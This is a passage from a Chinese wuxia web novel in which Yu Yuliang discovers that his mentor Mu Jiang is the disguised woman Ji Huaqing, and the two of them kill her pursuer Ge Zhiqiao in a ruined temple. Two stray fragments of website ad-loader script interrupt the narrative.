鱼晚衣身体侧着,面向崖壁,并不看雨馀凉,只听她道:“对不起,雨少侠,我需要……这样东西。”终于,她做出了决定,因为世界上再没有什么事比实现那个理想更重要。 雨馀凉怔怔看着鱼晚衣,道:“鱼姑娘,你是被他们逼的,是不是?” 鱼晚衣转了转身,完全背对雨馀凉,她的声音自风中传来:“没有人能逼我,拿走玉钥匙和人皮图,完全是我自己的意愿。” 突然,她袍袖一拂,将什么东西扔了出来,那东西骨碌碌滚至雨馀凉脚边,是一个小瓶。 她对九歌中其他三人说道:“走罢。”说完便提起轻功往山顶跃去,邢勘、司马兄妹亦不再多说,也跟着离开。 既然长命锁已被夺走,作为被抹杀目标的九歌成员也已经离开,连江和万克礼已经没有留在这里的必要。 而连万二人跟木姜这几天相互消耗,谁也无力追逐鱼晚衣等人,何况对方有四人,其中三人是生力军,就算追上了也胜算渺茫。 万克礼对连江道了句:“走。”二人几个起落后亦消失在木姜等人的视野中。 热闹了半天的山道,此刻只剩下木姜,雨馀凉,以及季凌沧三个活人。 季凌沧见伴侣李芙蕖被木姜所杀,要替李芙蕖报仇,遂手握双刀向木姜冲去,一刀直刺,一刀斜劈,且式中藏式,后着变化极多,是季凌沧的拿手绝招。然而木姜虽然刀不在手中,却以手作刀,以空手对上他的双刀,竟将他的招式全部拆解,季凌沧不仅处处受制,好几次还差点被木姜用掌击中。其实,木姜此刻不仅半点内力也使不出来,而且双臂虚软,季凌沧就算被木姜一掌拍中,也半点事没有。 二人才斗了十合不到,季凌沧因害怕自己被木姜打中,手上一个不稳,左手刀落于地上。眼看自己不是木姜的对手,季凌沧刀也不要了,握着右手刀转身便逃,哪知木姜捡起他掉落的刀,在身后如鬼魅一般追上季凌沧,一刀刺来,刀刃贯穿季凌沧前胸后背,他和李芙蕖这对苦命鸳鸯就此双双殒命。 经历了这样一场恶战,木姜片刻未能歇息。只见他背对雨馀凉站着,双脚犹如钉在地上一般,下半身一动不动,他双肩不断微微起伏,似乎是在喘息。 此刻夕阳西下,木姜和雨馀凉的黑色影子被拉得老长,四周静极。 过了良久,木姜气息逐渐平复下来,他转过身,走到雨馀凉身旁,伸指解开了雨馀凉的穴道。 雨馀凉总算能够动作,伸手捡起鱼晚衣扔下的小瓶,只见瓶上绘着仙家八宝纹样,他拨开瓶塞,将里面的东西倒出来。 那是一颗拇指大小的丹药,药丸上有奇特的花纹。 木姜轻声道:“是两仪派的丹药,这种花纹的丹药,就算是两仪派的道士也难得练出来。” 雨馀凉突然心头火起,将瓶子连同丹药攥在手心,道:“谁要你……”说着便将手扬起,要将东西扔下崖去。 但他的手停在了半空,最终缓缓垂下。 木姜道:“留着吧,说不定还有用。” 雨馀凉闭上眼。 39. 真容(一) 从山路下来后,天色就已全黑,雨馀凉和木姜来到一处破庙中。 这庙破得实在可以,大殿一半的屋檐都没有了,柱子也只剩下柱基。另一半边倒还比较完好,只是四壁漏风,整座残破的建筑显得极其阴森,但天色已晚,也没别的去处,只能在这凑合得一夜。 到了破庙中,两人点起火堆,雨馀凉在大殿中四处查看时,恍然看见木姜正看着自己,眼中似乎蒙上了一层难言的阴翳。 木姜沉默,雨馀凉亦沉默。 到了休息时,雨馀凉在殿内寻了个角落躺下,一只手臂遮住脸。 他忽然觉得自己很可笑,信誓旦旦地要去追寻一些虚无缥缈的东西,还觉得自己跟那些循规蹈矩的人多么不一样。 爷爷比他多活了几十年,他凭什么就认为自己比爷爷还要看得明白?木前辈身为江湖中人,对江湖肯定比他了解,后者也不是没有劝过他,他却还是一意孤行地选择踏入江湖。 是啊,爷爷说得没错,回去过普通人的日子不好吗,为什么非要进这江湖呢。 如此死命折腾一番,到头来不过是一场空。 如今长命锁也没了,他还要继续往北走吗?他还有往北走的必要吗? 雨馀凉一开始只是心情颓丧,如今越想越烦躁,思虑就如同长线一般,越发卷成乱糟糟的一团。 忽然凉风大作,只听得殿外树枝摇动,树叶哗哗作响,落叶被风一吹,在地上剐蹭出嗤嗤的声响。 听了一阵风声后,雨馀凉的思绪逐渐平复下来,不知不觉间也就睡着了。 到得半夜,雨馀凉突然被一阵痛呼声惊醒。 他侧头往旁边看去,只见木姜紧紧蜷起了身子,正一声声呻吟着。 这呻吟听上去似是极其痛苦,雨馀凉又是担忧又是害怕,开口道:“木前辈?” 木姜并未回答,雨馀凉又叫:“木前辈,木前辈?” 雨馀凉最后那一声叫终于钻入了木姜耳中。木姜本已睡着,但他睡梦中只觉自己四肢百骸无一处不剧痛无比,竟在无意识间叫出了声。 雨馀凉的语声如闪电划破长空,让木姜醒了过来,他意识到自己的失态,道:“……抱歉,我吵醒你了。” 雨馀凉连忙说道:“没有没有!”他小心翼翼道:“木前辈,你怎么了?” 木姜道:“没事,我只是……脚抽筋了。” 雨馀凉知道这个很痛,当下也未多想,关心了木姜几句,他调整了下姿势,准备继续睡,恍惚间看见黑暗中木姜长长的头发散在地上。 木姜的头发不长,平日间在后脑勺扎成一束小辫。黑夜中看不真切,雨馀凉觉得应当是自己看错了,他十分困倦,闭上眼后没多久就又睡着了。 迷迷糊糊间,雨馀凉想:木前辈的头发是卷的吗? 第二天早上,天刚蒙蒙亮时,雨馀凉正自沉睡,突然感到颈边一凉,立时醒了。 他一睁眼,就看见白花花的刀尖抵在自己喉头,顺着刀刃往前看去,却见握刀的人是一名女子。 雨馀凉愣住了。 他好不容易缓过神来,惊道:“你是谁?木前辈呢?” 他认得这把刀,这把刀是木姜木前辈的没错,可木前辈去哪了? 雨馀凉左看右看没看到木姜,急道:“木前辈被你弄到哪去了?”木姜的刀被其他人拿了,那么木姜怎么样了?是不是凶多吉少?只怪自己睡得太死,连先前发生了什么都不知道。 眼前女子森然道:“你是不是装作失忆?或者说,你接近我根本就是有其他目的。” 雨馀凉听得一头雾水,不知道怎么回答。 女子见他不答,又问:“你究竟是谁?” 若是在平常,雨馀凉听她这么问,便知她是在问自己的身份。但此刻雨馀凉刚睡醒就突然被人用刀指着,脑中一片空白,竟然脱口道:“我……我是雨馀凉。”他说完后才意识到自己说了什么,自己都想笑。 但他笑不出来。 这女子也没有笑。 女子冷冷问道:“你跟岑氏是什么关系?” 岑氏? 雨馀凉只知道岑氏貌似是水西百年前一位掌盟的家族,那位掌盟叫什么来着?对了,好像是岑微明。 自己怎么会跟岑氏有关系呢? 雨馀凉立即道:“没有,我们……没有关系。” 女子看着雨馀凉,双眼略微眯了眯,道:“我一开始只是以为,自己心血来潮教人武功却收了个烫手山芋在身旁,然而现在我发觉,你似乎不只是个烫手山芋那么简单。” 雨馀凉听她说话口吻,觉得她就是木姜,但…… 不管怎样,既然隐约感到她和木姜是一个人,雨馀凉微微放松了些,这时才好好观察起眼前的女子的样貌来。 只见她一身黑衣,腰间系着白色的腰带,从两边长长地垂下,腰带下端悬着白色的流苏,左脚踝上亦缠有白色的绷带。 雨馀凉见她头发微卷,蓦地想起昨晚看到的景象,波浪般的长发铺了一地。 女子继续道:“你之前要拜我为师,究竟有何目的?我劝你老实交代,否则下场不会好。” 雨馀凉实在不知道怎么回答这些问题,他又急于知道眼前这人究竟是不是木姜,于是道:“你是木前辈么?” 那女子蛾眉一皱,道:“回答我的问题!” 雨馀凉不知眼下是怎么个情况,似乎有好几件匪夷所思的事同时发生了,简直就像在做梦一样。他顺着木姜的刀往上看去,突然,雨馀凉看见这女子的右手手背上有一道青紫淤痕。 木姜的手背也有这样一道淤痕,是那日为了救他,木姜的手背被万克礼的长鞭打中后留下来的。 就在雨馀凉怔愣的当,这女子冷笑一声。 这是雨馀凉与木姜同行以来第一次在他脸上看到这种冷漠而戏谑的表情,就像这是他第一次听到木用姜如此生冷的语气说话一样。 即使他不能完全确定这女子究竟是不是木姜,尽管他内心已有九成把握。 这女子脸上的神气跟木姜的极其相似,在雨馀凉看来,若木姜也做出这种表情,就会是她这个样子。 女子道:“呵……想通过装傻骗过我么?没用的,无论怎样,你今天都得死。”说着手上一送,刀尖就刺入雨馀凉喉头。 雨馀凉感到喉头传来刺痛,心想这次是必死无疑,闭上双眼大声惊叫。 过了一阵,雨馀凉咽喉处疼痛依旧,他想:“我死了吗?”小心翼翼睁开眼,却见刚才还抵在自己喉头的刀刃已经不在那了。 那女子已经背朝他转过身去,正将刀缓缓收入刀鞘。 她转过身后,雨馀凉才看到她背上背着一顶与木姜所背一模一样的斗笠,一头长发一直披到腰部以下,发尾用白色的发带系住,发带垂下来好长,和着发尾一动一晃。 雨馀凉一边坐起身,一边问道:“你……究竟是谁?木前辈呢?” 女子并不答话。 雨馀凉一边不知如何是好一边伸手摸向自己喉头,伤口被手触到突然刺痛起来,雨馀凉忍不住“嘶”了一声。 这女子方才只是刺破了他的皮,而没有一刀贯穿他的喉咙。她这是……不打算杀他了?可话说回来,她究竟是谁?如果她是木姜,那她的外貌……如果她不是木姜,那么她和木姜有什么关系?木姜又去哪了?她为什么要杀他?杀他前还问出一些稀奇古怪的问题,之后又为什么不杀他了? 雨馀凉脑海里有一连串的疑问,却不敢再问这女子。他怕自己再问,这女子嫌他烦,回头一刀把他杀了。 女子却忽然开口道:“就此分开罢,与你一起,我自己性命也难保了。” 雨馀凉一凛,道:“你就是木前辈,对吗?” 女子沉吟一阵,道:“是我。” 她不想再让雨馀凉跟自己一道,其中一个原因是怀疑自己身份已被人看出,雨馀凉与自己的相遇,包括请求跟在自己身边都是某个阴谋或陷阱。 但通过方才的试探,雨馀凉似乎真的什么都不知道。 另一个原因便是这几天的经历让她察觉雨馀凉的身世不简单,就算他背后没有陷阱,未来也会给自己带来不少麻烦。 雨馀凉本想挽留木姜,但想到木姜在没索取报酬的情况下教了自己这么久武功,而这段时间他们遇到的麻烦和危险也确实都是因自己而起,木姜亦因此而受伤,到嘴边的话也就咽了下去,于是只道:“好,还请木前辈以后多加保重。” 木姜看他一眼,道:“你也保重,馀凉。”她顿了顿,终究还是说道:“……寻找身世这件事,能收手就收手吧,命都没了,找到身世又有什么意义呢?不过我也只是建议,最终还是要看你自己选择。只不过要跟你说的一点是,若你执意继续在江湖行走,之后遇到的情形只会比之前更加残酷。” 雨馀凉低下头,默然不语。 过了一会,他问木姜:“木前辈,你……怎么变成一个姑娘了?” 木姜忍不住道:“我本来就是女的。” 雨馀凉心里咯噔一下。 先前雨馀凉以为她是个壮年汉子,所以做很多事时都并不避讳。现在他总算知道为什么每次自己一脱裤子,她就转身离开了。 雨馀凉突然感受到一股难以言喻的尴尬漫上心头。 突然,一道带着笑意的尖细男声传来:“姬花青,你好呀。” 木姜身子一震,猛然转头,一个枯瘦人影正站在大殿外。 雨馀凉也转头看去,只见那人头顶光秃秃的,只剩几根稀疏毛发。两只眼珠圆瞪出来,似乎眼眶周围的皮肤都没有了。四肢皮肤干枯,瘦骨嶙峋,整个人活似一副骷髅。 雨馀凉只看了一眼,便感到心中一阵恶寒。 木姜看清来人是谁后便将头转了回去,似乎并不打算理会。 那人怪笑道:“你不敢看我么?你躲了我六年,六年,我总算把你找到了。自从我知道你也中了‘诛仇指’后,你不晓得我有多开心。” 木姜道:“你要认为我在躲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你,那你就这么认为吧。找我做什么?葛陟谯,你到底要怎样?” 那个名叫葛陟谯的人哈哈尖笑了几声,踏出一步道:“姬花青,你装什么傻,我是来找你报仇的呀。” 雨馀凉心道:“姬花青?他是在叫木前辈么?” 木姜复又看向葛陟谯,皱眉道:“报仇?” 葛陟谯道:“这几年来,我一直在蛮疆附近留意你的动向,就为找到机会报仇。木姜受了那样重的伤,又怎还能活命?就算他还活着,又怎会丢下他的族人一人离开蛮疆?所以我就知道,一定是有人用隐容术化成了他的模样,而那个人就是你。” 雨馀凉道:“隐容术?”他似乎恍然明白了什么,看向姬花青,问道:“是……易容术吗?” 还未待姬花青回答,葛陟谯便回答了他:“可比那玩意儿精巧多了。易容术要靠化妆,隐容邪术是奇门诡术、是障眼法,不需要借助任何外物,施术者的外貌、声音就会变得跟另一个人一模一样。但隐容术有一个前提,那便是已死之人的外貌才能被施术者所借用。一旦术成,施术者想维持这种状态多久就能维持多久,就算想要以别人的皮囊过一辈子,也不在话下。若非施术者自行解除或体力不支无力维持该术,是不会变回他原本的模样的,而这法术一旦解除,施术者就不能再次变为那人的样子了,这也是这个秘术唯一的缺点,嗯,算是缺点吧。” 他这话倒是说得一点不错,姬花青之所以会变为她原本的样子,正是因为昨日在与连江、万克礼等人的打斗中强行提气,气血大大受了损伤,她无力再维持木姜的外形。 葛陟谯道:“隐容术是蛮疆秘术,哼……这几年在蛮疆,木姜没少帮你吧。”他又道:“奇怪,隐容术不是绝不外传吗?姬花青,你好像不是蛮人吧,你连水南的人都不是,这些年来,你身上究竟发生了些什么?我怎么都不知道?”他张口说话,就像骷髅在张口说话,雨馀凉觉得这画面实在诡异,费了很大的劲才迫使自己在他说话时看着他的脸,而不把头转到一边去。 姬花青道:“你不知道的事多了。况且这世上种种,又何必事事都要知道?” 葛陟谯笑道:“对,对,说得对!所以我现在只需知道,自己要杀你复仇就是了。” 姬花青道:“害你武功尽失的是巴琅,你不直接去找他复仇,来找我作甚?” 葛陟谯道:“若不是为了追击你,我又怎会碰上他?若不是你不肯乖乖让我一刀砍死,非要不断逃走,我又怎会到他出没的地方?中了那什么‘诛仇指’?可喜老天有眼,现在让我找到你。你放心,我不会让你轻轻松松就死的,我要好好折磨你,让你在无边痛苦中慢慢地死!” 雨馀凉站在旁边,听他们你一句我一句,听得一头雾水。 巴琅又是谁? 原来六年前,姬花青忙着去做某件事,结果在半路上碰到葛陟谯。葛陟谯一生迷醉于武学之道,是个不折不扣的武痴,他对姬花青纠缠不休,非要和姬花青和他分个胜负,不然就要杀了姬花青。 姬花青要去做的那件事对她来说十万火急,哪有余暇陪葛陟谯浪费时间?但葛陟谯武功很不简单,姬花青摆脱不了葛陟谯,又无法在短时间内将其击败,只好边赶路边寻找机会脱身。 一日,葛陟谯跟丢了姬花青,正寻找时,一个自称巴琅的人现身。葛陟谯认为巴琅妨碍自己做事,上去就是功力十足的一刀,结果被巴琅一指戳中小臂,葛陟谯只感到被戳中的那一瞬间整个身体内的真气开始乱窜,紧接着浑身剧痛,那疼痛难以承受,葛陟谯抱头大叫起来,片刻过后,便倒在地上不能动弹。 解决掉葛陟谯后,巴琅又去找姬花青,和姬花青过了几招后不敌,便也使出诛仇指,姬花青不晓得此招厉害,直接以手拆解,从此经脉寸断,一身武功尽皆废去。巴琅见这一指在姬花青身上也起了效,不由得感到得意,言语间便说出了此前以同样的方式对付另一人的事,姬花青通过他的描述,意识到这人是先前对自己纠缠不休的葛陟谯,这才知道葛陟谯也跟自己一样成了废人。 直到现在,姬花青都不知道巴琅是什么人,也不知道他为什么要无缘无故地攻击自己和葛陟谯。不仅如此,让自己和葛陟谯武功尽失后,巴琅也没有杀了他们,而是转身离去。 他的目的是什么?若说是寻仇,姬花青和葛陟谯在此之前与他素昧平生,且他为什么留下二人性命?若说他针对的不是个人,而是自己身处的势力,那么巴琅攻击她姬花青还说得过去,但葛陟谯是江湖散人,没在任何人手底下做事,怎么也经受了这无妄之灾? 不管怎样,姬花青在那之后用了极特殊的法子、经历了极大的痛苦才让自己勉强能够重新运使内力,尽管如此,她的内力也比不上中“诛仇指”之前。并且虽说是能够运使内力,却不能连续催动,否则就会导致身体强烈的不适,就像现在这样,甚至连隐容术都无力维持。 姬花青不知道葛陟谯是用了什么办法恢复武功的,只知道葛陟谯恢复了武功,对她来说是个麻烦。 40. 真容(二) 姬花青哼了一声,道:“口口声声说要报仇,却又不敢去找仇家,只能找同样经脉损伤的我撒气,想是你认为我也经脉寸断,是个好捏的软柿子?还想出这样蹩脚的理由来说服自己,真是可怜!” 一开始,葛陟谯最恨的也是巴琅。一般情况下,武功尽废本来断无回复之法,但葛陟谯也是个豁得出去的人,他历尽辛苦好不容易恢复了武功,却也不过之前四五成的水平。武功恢复后,他不是没去寻过巴琅的踪迹,但通过数月的观察,葛陟谯想来想去,觉得自己对上巴琅根本没有胜算。自己功力本就不及之前的一半,何况巴琅还有那手要命的诛仇指,假如再给他用指头来一下,那么自己这辈子都铁定只能当个废人,再无翻身之日了。 仇人还好好地活在这个世上,自己却无法复仇无力复仇,对葛陟谯来说简直是一件千般痛苦万分煎熬的事。在又一次因为这个原因而无法入眠的晚上,葛陟谯突然想到,要是当初他没有对姬花青纠缠不休,就不会遇上巴琅,而没有遇上巴琅,自己也不会变成如今这个样子,一口恶气堵在心口,咽咽不下去,吐也吐不出来。 要是姬花青肯和他比试,或者愿意被他一刀砍死,他也不会一直追着姬花青不放。这么说来,姬花青是要承担这个责任的。 起初这个念头只是在他心头闪过,但之后不知怎么回事,他越想,越觉得就是这样,对姬花青的恨意也越来越深。 到最后,葛陟谯对姬花青的仇恨竟到了巴琅之上。 后来得知姬花青也中了巴琅的诛仇指,葛陟谯为此兴奋了好长一段时间,他觉得自己的复仇一下从无望变成了有望,心中也更坚定了姬花青的罪孽,找姬花青复仇成了他这辈子必须要做的事。 今日他终于来到了姬花青的面前,得以实现自己的复仇大计,整个人甚至都在兴奋地颤抖。 葛陟谯来得确实很是时候,姬花青昨日强行连续运气,从昨天到今天,她状态都十分不好。眼冒金星,四肢酸麻难当,胸中烦闷恶心,直欲呕吐。 除开这些外在表现,姬花青还感到自己的真气在体内各个孔窍穴道游走乱窜,根本凝聚不起来。如今她的真气内力不仅不能维持隐容术,也压制不住体内的其他一些东西了。这些平时被她用真气内力压制的东西此刻一同反噬,让姬花青连光站在那跟葛陟谯说话都十分费劲。 葛陟谯也不再和姬花青废话,右手提刀,同时左手一掌拍出,径向姬花青而来。 葛陟谯的刀法精妙,颇有独到之处,但他刀法还没施展开,只是试探性地拍出一掌,这掌便结结实实地打在了姬花青身上,连他自己都没能意想得到。 姬花青直接被拍飞了出去,雨馀凉甚至看见了在空中飘溅的血丝。砰的一声响,姬花青撞上了破庙颓圮的墙面,激起尘土墙灰飞扬。 雨馀凉惊呼:“木前辈!”连忙跑过去,将破碎的砖石从姬花青身上扒开,再把姬花青从瓦砾废墟中拉出。他定睛一看,姬花青果然已经满口鲜血,等雨馀凉将她扶起,她身子一颤,又吐出一口血。 虽然知道了她真名叫做姬花青,但雨馀凉叫惯了木前辈,又是于危急时刻脱口而出,所以那一声叫仍是叫“木前辈”。 见这仇报得如此顺利,葛陟谯喜出望外,高兴得简直要手舞足蹈起来。他将手背在身后,好整以暇地一步步从大殿外走进大殿内,又走到姬花青面前,居高临下地看着姬花青道:“我说过,我不会让你这么简单就死的,我要慢慢……” 破风声响,长刀自下而上划出一道极大的银色圆弧。 葛陟谯急忙向后跃开,但仍晚了一步,姬花青刀刃已斩断他右边小腿并右手三根手指,葛陟谯怪叫数声,因为失去了一边小腿,所以失了平衡,这一后跃自然也不能稳稳当当落地,葛陟谯姿势狼狈地向后摔在大殿阶梯旁,从断腿处流出的血从台阶上一级级淌下。 姬花青见这一刀没能要了他的命,心中暗骂可惜。 葛陟谯一边颤巍巍地艰难支撑起身子,一边勾下头去看自己只剩大腿的右腿,喉咙中不断发出“啊……啊……”的声音,他用拖着惨叫的腔调骂道:“姬花青,你这个狗娘养的,老子日你妈,啊……” 葛陟谯根本没想到,姬花青知道自己和他硬拼没有胜算,会不惜先挨他一掌,假装自己已经毫无还手之力,再在他放松警惕时突起进攻。 但方才那一击也已经耗尽姬花青所有的力气。姬花青躺在地上,奋力要起身,双颊涨得通红,奈何双臂及胸口以下似乎都动弹不得,只能将头颈微微抬起几寸,如此在半空中维持了片刻,转瞬间便重重落回地上,胸口不断起伏。 眼看姬花青这次是真的不行了,新仇旧恨一同报的渴望盖住了失去一条小腿的惊痛,葛陟谯一步步向姬花青爬去。 雨馀凉见葛陟谯爬过来,拔刀挡在姬花青身前。 葛陟谯越爬越近,对着雨馀凉就是一刀,雨馀凉也以刀相迎。 葛陟谯虽趴在地上,且因他右手只剩拇指和食指,只能用左手使刀,但刀法却依旧凌厉,依旧精妙。 很快地,雨馀凉身上便多了数条口子,但他丝毫没有退缩,反而越战越勇。雨馀凉血气上涌,虽然自己的血就在眼前点点飞溅,但他似乎反而被激发了血性,他已经不再留意自己身上的伤口是多了三道还是五道,也忽视了伤口处的疼痛,只大睁着双眼,观察葛陟谯刀势的走向。 然而没什么用,葛陟谯轻轻一拨,便将雨馀凉使得越来越快的刀荡开,雨馀凉只感到一阵剧烈的疼痛从整个右手传来,右手再也使不上力,长刀从手上脱出,啪的一声落在一旁。 雨馀凉兵刃脱手,也并未手足无措,当即以指掌拳脚功夫向葛陟谯招呼过去。但雨馀凉向来是刀法优于其他功夫,他刀法已敌不过葛陟谯,掌腿上如何能敌?葛陟谯只以双手对上他双手双脚,依旧绰绰有余,雨馀凉一脚踢过去,葛陟谯左手抓住他脚踝,雨馀凉一个站立不稳,身子横着被甩出,撞在一旁的供桌上。供桌桌腿被撞断,桌面倾倒,压在雨馀凉身上。 雨馀凉一边咳呛,一边从烂桌下爬出,一道又红又细的血线从他从他嘴角流下。 葛陟谯不再管雨馀凉,举刀向姬花青砍去,雨馀凉再次向葛陟谯奔来,正准备向葛陟谯击出一掌,葛陟谯左腿反踢,又将雨馀凉踢飞。雨馀凉喷出一口血,但他这次飞出后立即爬起,飞扑到葛陟谯身上,双手抱住葛陟谯握着刀正欲向姬花青砍落的左手手腕,双腿也夹住葛陟谯的左臂,双脚踩在葛陟谯肩头,张口就朝葛陟谯的手咬下。 葛陟谯大叫一声,握刀的手松开,刀哐当一声落在地上。葛陟谯被激怒,反手捏住雨馀凉的脸,力气大到雨馀凉觉得自己的脸骨都要被捏碎,葛陟谯抬起头来,看向雨馀凉的表情十分狰狞,右手拇指食指伸向落在地上的刀,捏起刀背,刀尖对准雨馀凉的脸就捅下去。 就在这时,葛陟谯眼角瞥见银光一闪,紧接着胸口腹部一痛,他又一次叫着向后滚去。 雨馀凉趴在地上抬头一看,只见姬花青不知何时站了起来,右手握刀,正低头看着葛陟谯。 姬花青方才那一刀一直从葛陟谯右胸砍到肚脐,这一刀依旧没能要了葛陟谯的命,但也砍得不浅,葛陟谯倒在地上,已经不大能够动弹。 原来先前姬花青砍葛陟谯那一刀后依然没有耗尽体力,见葛陟谯未死,她再次装作无力行动,诱使葛陟谯露出破绽。 姬花青正欲往前踏出,突然猛烈咳嗽起来,向后急退几步,最终坐倒在地,背靠在残墙上,手中的刀也在倒地前一刻脱手落地,发出呛啷一声响。 这次姬花青的气力是真的耗尽了。 此刻破庙里喘息声此起彼伏,而雨馀凉成了在场唯一一个还能动的人。 葛陟谯突然对雨馀凉道:“小兄弟……帮帮我,这女人是个妖女,是邪道的人,你跟她在一起,早晚会被她杀了,今天早上……她不就想杀你吗?” 姬花青听他这么跟雨馀凉说,心下一沉。 雨馀凉看看葛陟谯,又看向姬花青,心想:“妖女?邪道?” 葛陟谯道:“小兄弟,我葛陟谯不是个忘恩负义的人,你帮我解决了她,再将……再将我背出去,出去后你想要做什么,我必帮你做到,我对天发誓!”其实先不论葛陟谯是否真的会帮雨馀凉,如今他残手断脚,稍微难一点的事便办不到,只不过如今火烧眉毛,雨馀凉是现下唯一的变数,他这么说,是要极力把雨馀凉争取到自己这边,才将话说得如此信誓旦旦。 雨馀凉道:“你说的妖……邪道,是什么意思?” 葛陟谯正要说话,姬花青却在这时大声叫道:“不要说了!” 葛陟谯声音也变大了:“意思就是说,她是……” 姬花青额角青筋鼓起,怒瞪葛陟谯道:“不要说了!!我叫你不要说了!!!”若她能动,她早已过去将刀捅进葛陟谯的嘴里。 葛陟谯并不理会姬花青的怒吼,越发大声地道:“她是魔教的大魔头!” 破庙里一时变得极其安静。 过了半晌,雨馀凉道:“嗯。”语气听不出好恶喜怒。 葛陟谯见雨馀凉这般反应,心中一喜,试探道:“所以……” 雨馀凉又道了一声“嗯。”从地上拾起自己的刀,向姬花青走去。 葛陟谯极是得意,他不仅让雨馀凉将刀头转向了姬花青,而且,方才姬花青那般情绪激动地想要堵住他的嘴,却也只能任由他说出她的秘密,可见姬花青这次是真的体力耗尽,油尽灯枯了。 姬花青的脸色就像她身边落了一地的墙灰一样颓败。她看向一边,喉头动了动,在雨馀凉的影子投映在她身上后,认命般地闭上了眼。 雨馀凉突然调转刀尖,一刀向葛陟谯刺去。 葛陟谯一呆,随后反应过来,怒道:“狗娘养的杂种!”激怒与求生欲让他体内的潜能完全释放了出来,葛陟谯竟又爬了起来,他躲过雨馀凉的这一刀,挺刀直向姬花青扑去。 雨馀凉忙撤刀回挡,葛陟谯快速变招,刀身略过雨馀凉依旧朝姬花青刺去。 雨馀凉无法,伸手打算将姬花青推开。 他本想推姬花青的肩膀,但又要一边注意葛陟谯的动作,手这么胡乱一探,却覆上了姬花青的脸,刚好遮住姬花青的一双眼睛。 姬花青眼睛被他蒙住,身体一震。她本也在用仅剩的一丝微弱力气往旁边倒好躲开葛陟谯的这一刀,雨馀凉这么一蒙她的眼睛,她竟突然不动了。 雨馀凉也感受到姬花青的身体似乎一僵,但情势危急间,雨馀凉也并未过多留意。他使劲将姬花青推开,再双手握住刀柄,矮身滑步,举刀向上捅去。 许是葛陟谯知道自己已是强弩之末,这一次的爆发持续不了多久,他满心想的只是在倒下之前取姬花青的性命,因此忽视了包括雨馀凉在内的周遭一切情况,雨馀凉这一捅,直接捅穿了他的腹部。 鲜血淋下来浇在雨馀凉脸上,雨馀凉手上用力,将葛陟谯掼在一旁。葛陟谯一动不动,双眼圆睁,嘴巴半张,已然气绝。 雨馀凉看着葛陟谯的尸身,又低头看向自己的双手,这才大声喘起气来。 方才发生的一切竟像是做了场梦一般。 姬花青倒在地上,虚弱道:“馀凉,他……已经死了吗?” 雨馀凉看向葛陟谯鲜血淋漓的尸体,有些惊魂未定,道:“死了。” 姬花青自己假装气力耗尽骗过葛陟谯,也担心葛陟谯诈死来骗自己,虽说受了葛陟谯这样的伤一般来说已无存活之理,但她生性多疑,于是让雨馀凉又往葛陟谯身上补了几刀,见葛陟谯真的完全断气,这才和雨馀凉离开破庙。 自昨日与连江、万克礼等人一战,姬花青的身体本就出了些岔子,今日又挨了葛陟谯一掌,姬花青已然连自己走路都成了问题。 于是雨馀凉便背着姬花青行路。 如此过了一天,姬花青便不再让雨馀凉背了。 雨馀凉生得十分高挑,姬花青露出真容前,以木姜的外形跟雨馀凉站在一起,十七岁的雨馀凉差不多是能平视木姜的,但姬花青以自己的本来面目跟雨馀凉面对面说话时,雨馀凉都是低头俯视她。 雨馀凉看出,她甚至还没有鱼晚衣高。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 同为女子,鱼晚衣模样娇美,姬花青长相则清纯大气,她样貌虽清纯,却并无稚气,和鱼晚衣两相对比,更显成熟。 想到鱼晚衣,雨馀凉心里一下便沉郁起来。他使劲摇摇头,似乎是要把脑海里有关鱼晚衣的想法全部倾倒出去。 之前雨馀凉只对自己的身世感兴趣,到了现在,他头一次对姬花青的身份产生了好奇。 听葛陟谯说姬花青是魔教中人,可如果是这样,为什么先前鲁若勉等魔教教众出现时,她不上前去跟他们打招呼? 可若姬花青不是魔教的人,葛陟谯将姬花青的魔教身份说出来时,姬花青又为什么那样极力阻止?似乎生怕自己知道了。 可他知道又怎样呢?他以前是听说魔教很可怕,但姬花青对他那样好,给雨休输送内力,又几次对他和雨休出手相救,还替他夺回长命锁,就算姬花青是魔教中人又怎样? 雨馀凉不在意。 不过奇怪的是,虽然江湖上一听说魔教就如临大敌,但魔教中人会在意自己是魔教的人吗?如果在意,最初又为什么要加入魔教? 雨馀凉又想到,对付葛陟谯时,自己拿着刀向姬花青走去,装作要杀了她,她没有向自己求情,也没有跟自己提起她救过自己,亦没有对自己怒骂,只是安静接受了自己将要死去这一事实。 那时他就觉得,这个人似乎浑身上下都透出一股疲惫。 这天晚上,雨馀凉和姬花青坐在篝火前。雨馀凉想起,在破庙时,姬花青说要和他各走各的,但杀死葛陟谯后,他和姬花青仍一道同行,姬花青却没再提起要和他分开的事。 雨馀凉决定争取一把,开口叫姬花青:“花青前辈。” 姬花青道:“何事?”心想这小子称呼改得真快。 雨馀凉道:“我不想和你各走各的。” 姬花青身形一顿。 雨馀凉道:“花青前辈,有麻烦来找我没错,但也有麻烦来找你,咱们俩半斤八两。你说与我一起,你性命难保,可要我说,我们是彼此彼此。花青前辈,你教我武功,我不知如何报答你才好,所以我想着,要在下一个葛陟谯到来时,帮助花青前辈。我想和花青前辈结伴同行,然后相互麻烦。” 姬花青道:“昨天若不是你,我已丢了性命。”她苦笑,“我真是服了你了,既如此,咱们便再同行一段吧。” 雨馀凉听姬花青答应,心中大喜,笑道:“嗯。”如今长命锁已不在他手,前天晚上到破庙时,雨馀凉很迷茫,不知自己接下来该往哪走。但经过与葛陟谯那一战后,雨馀凉决心继续留在江湖。他想报答姬花青的恩情,若姬花青答应他继续同行,他便与姬花青一同往北,尽他最大的努力帮助姬花青;若姬花青执意要与他分开,他一个人也还是往北走,尽管没有了长命锁,也要去仲邑江边打听一番。 姬花青忽然道:“其实长命锁的事,你不必过于忧虑。” 雨馀凉听姬花青提起长命锁,心下一凛。 姬花青看着雨馀凉,道:“以如今的形势,谁拿了长命锁谁就会成为众矢之的,这样看来,还是先让别人替我们保管的好。等他们抢到最后,我们再寻个机会夺回来。” 雨馀凉听懂了姬花青的意思,可这样一来,是不是就代表着鱼晚衣会有危险? 嘶,怎么老是想到鱼晚衣?她身边有那么多厉害的人,哪里用得着他担心? 雨馀凉道:“那个葛陟谯,他中了诛……诛……” 姬花青道:“诛仇指。” 雨馀凉道:“中了诛仇指,之后变成那个模样,也是……”也是令人唏嘘。 姬花青道:“不,那个长相跟诛仇指无关,他一开始就是那个样子,好像是练功走火入魔导致的。” 